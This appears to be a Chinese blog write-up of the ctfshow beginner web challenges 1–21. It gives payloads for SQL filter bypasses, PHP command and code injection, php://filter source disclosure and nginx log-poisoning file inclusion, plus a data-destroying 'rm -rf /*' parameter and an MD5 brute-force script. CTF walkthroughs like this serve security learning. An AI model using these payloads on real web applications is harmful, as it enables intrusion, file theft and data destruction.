ctfshow 萌新web1-21

目录

Web1

Web 2

Web 3

Web 4

Web 5

Web 6

Web 7

Web 8

Web 9

Web 10

Web 11

Web 12

Web 13

Web 14

Web 15

Web 16

Web 17

Web 18-web21


Web1

Intval解析整数型时会从左边开始,会绕过第一个if,利用||运算符,当发现id=2中为空,便会到id=1000,即可得到flag。

Payload:

?id=10 or id=1000

Web 2

Or被过滤,用||即可。

Payload:

?id=2||id=1000

Web 3

同上。

Web 4

同上。

Web 5

本题过滤了单双引号,减号,正反斜杠,x,hex,select等字符。

利用intval()函数转换字符串的特性,在参数中构造特殊的字符,来绕过intval()函数的转换;绕过前面两个过滤以后就来到执行SQL语句了,这里我们使用取反运算符(~)来控制SQL,获取flag。

取反绕过:

 

所以可利用取反运算符来绕过if。

Payload:

?id=~~1000

Web 6

同web5

Web 7

~也被过滤,可以用进制转化来写。

Payload:

?id=0b1111101000

Web 8

脑洞很大,根据提示,阿呆说要去埃塞尔比亚,所以删库跑路。

Payload

?flag=rm -rf /*

Web 9

Payload:

?c=system(%27tac%20config.php%27)

;

Web 10

Payload:

?c=show_source(%27config.php%27);

?c=$x='sys';$y='tem';$z=$x.$y;$z('tac config.php');

Web 11

同上

Web 12

文件名被过滤,用base64编码绕过。

Payload:

?c=$b=base64_decode(%27Y29uZmlnLnBocA==%27);show_source($b);

Web 13

利用passthru``即可,passthrusystem作用类似,``可以相当于命令来执行。

用?>来结尾。

Payload:

?c=passthru("tac%20`ls`")?>

Web 14

可以利用伪协议来得到flag,构造一个include,然后其中用GET或POST传参。

Payload:

?c=include$_GET[feng]?>&feng=php://filter/read=convert.base64-encode/resource=config.php

``还没被过滤,可以直接传参。

Payload:

?c=echo%20`$_GET[feng]`?>&feng=tac%20config.php

Web 15

Payload:

?c=include$_GET[feng];&feng=php://filter/read=convert.base64-encode/resource=config.php

?c=echo%20`$_GET[feng]`;&feng=tac%20config.php

Web 16

很简单,使if条件成立即可。

if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e")

写个脚本爆破一下即可。

import hashlib
str='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'#所有可能出现的字母
#从一个字符开始尝试,逐渐往下加
for a in str:
    for b in str :
        for c in str:
            x=hashlib.md5(('ctfshow'+a+b+c).encode()).hexdigest()
            #让ctfshow和字符a,b,c拼接在一起,转化为MD5值。
            if x == 'a6f57ae38a22448c2f07f3f95f49c84e':#判断值是否符合条件
                y=a+b+c
                print('ctfshow'+y)#输出字符x的值

最终得到ctfshow36d,所以传入36d即可。

Payload:

?c=36d

Web 17

明显的文件包含,但是不能用php,本来尝试了一下data,没成功。

看到nginx想到了日志文件包含。

首先利用bp正常访问,修改UA头为一句话。

 

 

然后再传入

?c=/var/log/nginx/access.log

同时POST:

feng=system('tac 36d.php');

 

Web 18-web21

同上。

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值